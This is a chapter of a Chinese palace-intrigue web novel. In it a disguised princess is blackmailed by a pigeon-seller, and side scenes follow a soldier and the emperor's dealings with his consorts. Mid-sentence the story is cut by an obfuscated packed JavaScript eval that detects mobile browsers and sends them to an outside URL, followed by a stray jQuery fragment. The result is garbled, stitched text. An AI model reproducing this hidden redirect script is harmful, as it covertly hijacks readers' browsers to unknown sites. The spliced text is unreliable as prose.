除此之外,那张纸条上还有一个时间和一个地点。
姜茵攥紧了那张纸条将它扔进了灯火里,看着它被火舌吞噬,化为灰烬。
兰溪的脸色也同样不好,她问道:“殿下,到底是谁?他想做什么?”
姜茵微微摇头,强行将心绪镇定下来,去想其中的蹊跷。
首先,这人一定看到了她去纵火,但是这人的态度明显有些问题。
他既然看到了,就该知道她是奔着杀了穆与铮去的,然而,这人却只是寻了时间和隐秘的地点要与她见面、
所以,不论这个人在图谋什么,总归他对穆与铮并不忠心。
姜茵缓缓地说出了自己的结论。
兰溪反应过来,也跟着松了口气,说道:“既然如此,那么就只需要想办法给他所图的东西就好,只是他图什么?”
“天下熙熙皆为利来,天下攘攘皆为利往,”姜茵轻声说道,“左不过名利二字。”
“但是殿下,”兰溪似是想到了什么,说道:“你要小心这人得利之后,如跗骨之蛆驱赶不走。”
姜茵知道兰溪说得对,所以她需要试探,也需要想一个万全的办法。
斜阳西垂。
姜茵换上了兰溪的衣饰,按照纸条上所说的时间,前往了猎场角落的一处地方。
那里少有人来,所以没有人去清理枯枝和将化未化的冰雪,二者混杂在一起,像是藏在黑暗中的污垢。
姜茵寻了个阴影处躲着,试图藏起自己的身形。
然而,阴影处,早有人伸出一把冰冷的短刃,抵在姜茵的颈间。
“兰溪是吧?”
那人明显误会了姜茵的身份,但手上一点也没有放松,让刀刃保持在一个卡进脖颈却又不至于划破皮肤的程度。
那寒冰一般的凉意,让姜茵背脊生寒。
“我今日在此杀个侍女,是绝对无伤大雅的。”
她听到身后的人胸有成竹地说着。
离国,京郊军营。
傅州如愿从军,只是这从军和他想的完全不同。
黄大将军煞有介事地向麾下之人介绍了这位故人之子,傅州能够感觉到那些人对他的客气与故意的疏离。
甚至或许,在他不知道的时候,这事就已经被整个军营所知晓,以至于,他好像被隔离在一个透明的屏障里,永远无法接触到真实。
就比如,一些普通士兵会聚集在一处讨论些什么,但只要有人发现他一靠近,那些士兵就会默契地散开。
普通士兵如此,高级的将领就更是如此。
傅州意识到,不管是出于何种原因,黄大将军麾下的人并不欢迎他。
他偶尔也会提起反攻辰国的观点,但是就像是空气一样无人在意。
他也积极地想去往前线,可是总是被以各种理由驳回。
傅州实在有些心急,按这样的情况发展下去,他要猴年马月才能实现自己的愿望?
他满腹愁容,抬头望向天边的月亮,心想:阿茵在做什么?她现在还好吗?
姜茵显然不是很好,换作任何一个毫无准备地陷入了生死危局,想必都不会好到哪里去。
她强行让自己镇定下来,思索其中矛盾的地方。
这个人若是单纯的变态,想杀她取乐,就绝不可能特地将她约到这僻静地方,他仍是有所图谋,只是试图以威胁与恐吓加大筹码。
姜茵轻蔑地笑了一声,像是有恃无恐。
那人身形一顿,见她这副模样,心中升起些许忌惮。
难不成这区区侍女还有别的狠路子?
姜茵趁着他迟疑的片刻,反手用手肘击向他的腹部,摆脱了冰寒的刀刃,回眸看向来人。
这一看,她便发现这人是个熟人。
“冯总管,你是真不怕改朝换代啊。”
冯总管捂着腹部,听了姜茵的话,他浑不在意地说道:“谁当皇帝,我都在这里卖鸽子。”
“不过,我若去告发,你肯定是死定了。”
姜茵面上神色一僵,做出被他戳到心窝子的模样,不情不愿地说道:“你想要什么?”
冯总管微微一笑说道:“先前你来买鸽子的时候,出手颇为大方,想必也不介意再出些买命钱。”
姜茵想,她这是被当肥羊宰了?
但是,若冯总管真跑去穆与铮那里说了这事,以穆与铮多疑的性格,怕是必定会对她失去信任。
她做了好似被拿捏的模样,说道:“你要多少?”
“一百两黄金。”
姜茵抬眸看向了他,心想:若她真的是个宫女,是断断拿不出来这笔钱的。
“没有,”她直截了当的回答,又道:“你当我是什么人?我去哪里弄那么多黄金。”
“我都打听好了。”
冯总管说着,姜茵的心跟着提到了嗓子眼里,她想,这人打听好了什么?
“你是跟着那位和亲公主来的,”冯总管眼中流露出精明与算计,“那位公主来时,带来相当丰厚的嫁妆,一百黄金与之相比,不过九牛一毛。”
姜茵冷冷地看着他,在离国的时候,为了日后行事方便,她早早就准备好了一笔钱,又借着和亲的理由狠狠敲了一圈竹杠,再加之她那父皇写在明面上的嫁妆,她手上银钱是绝对不缺的。
但这并不意味着,她要就这样破财免灾,更何况现下她是顶着兰溪的身份。
“那是姜美人的,我怎么可能弄来。”
“去偷、去抢、去骗,”冯总管轻松地说出了突破下限的字句,“总归你一个婢女不可能闲的无聊去放火,说到底那不也是你主子的意思?”
“所以也该叫她出点血。”
“我怎么能这样对她?”姜茵思索着兰溪可能的态度回答着,复而又道:“再说姜美人也不是傻子。”
“别在那装了,”冯总管嗤笑一声,“辰国年年打胜仗大多数人的日子都还是过得生不如死,我不信年年败仗的离国人日子就能好了、”
“你真不想从那些高高在上的贵人们手里撬点东西出来?”
姜茵略一沉思,露出了被说动的神色,道:“我可以尝试一下,你且等我回去准备。”
冯总管就指着“兰溪”从贵人们手里掏钱,自然没有不放她走的道理。
只是,他朝着姜茵一伸手,说道:“先付些定金。”
姜茵扔给他一个装着银子的荷包,而后头也不回地走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265466|198100||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。
冯总管挨个验过里面的银块,露出了满意的神色。
另一头。
穆与铮如愿以卫国公为引,将纪家的一众人等拖入了牢狱。
而这时候,却有人来想他通禀,道:“陛下,贵妃娘娘一直嚷着说要见您,奴才们快要拦不住了。”
穆与铮这时候才记起纪贵妃,面上露出了些许麻烦的神色,问道:“怎么?她不愿意老实呆着?”
那奴仆点点头,并道:“从听说卫国公下狱的消息开始,就跟疯魔了似的要见您。”
穆与铮下意识地露出了一点厌恶的神色。
倒不是因为纪贵妃,而是因为这形容实在是令他想起了他所见过的那些疯子。
他实在很难想象,他印象里那么明艳的女子也会变得和那些疯子一样。
穆与铮并不打算打碎自己心里美好的幻影,于是对他说道:“你们这么多人还拦不住一个人吗?必要时动手也无不可,朕还有要事,不要总拿这种小事来烦朕。”
这话若是被任何一个熟悉穆与铮和纪贵妃过往的人听到,都会让人心惊于穆与铮的冷漠无情。
这奴仆也不例外。
奴仆领命离开,心里却又想,纪贵妃本来就有三分娇纵,入宫之后更是变成了十分,她身边伺候的人多少都对她有些不满,如今失了帝王恩宠又没了纪家的靠山,想也知道下场如何了。
邺都坊间巷陌还流传着陛下与纪贵妃的爱情故事,现在看来,这故事的结局是个悲剧。
不过,他甚至只是个没名没姓的奴仆,只能感叹两句,对于后续的发展无能为力。
隔日。
虽然出现了一些小插曲,但是春猎最后的祈福仪式还是相当顺利的完成了。
权贵们想着卫国公的下场,至少明面上看不出任何对穆与铮的不满。
浩浩荡荡的车队朝着从郊外的猎场返回了皇宫。
凤仪殿。
穆与铮端坐在花梨太师椅上,眉目含笑,模样温柔,瞧着崔皇后:“这些日子可辛苦皇后了。”
崔皇后知道,穆与铮这模样是演的。
显然因为纪贵妃已经不能用了,所以他需要一个新的“宠妃”。
但崔皇后并不想担任这个角色,毕竟帝王无情,谁知道纪贵妃的今天会不会是她的明天?
她笑了一下,说道:“陛下从前从不对臣妾这样说话的。”
穆与铮微微勾起唇角,一只手捧起崔皇后的脸颊,目光中似含着无限的柔情。
“这样不好吗?”穆与铮轻声说着,“皇后为朕做了许多事,朕自然要给些赏赐的。”
“都是臣妾份内之事。”
崔皇后这样说着,心里却想,大可不必。
“说来,崔大将军班师回朝已久,但皇后似乎还未见过他一面。”穆与铮低声说着。
崔皇后身形一顿,心说:别别别,千万别。
然而她的心声并不能阻止穆与铮说出他的决定,只听得穆与铮说道:“你们兄妹二人,一人在战场为朕杀敌,一人在后宫为朕打理琐事,皆为有功之人。”
“朕的赏赐便是,明日皇后可以与崔大将军在养心殿的暖阁里,见上一面。”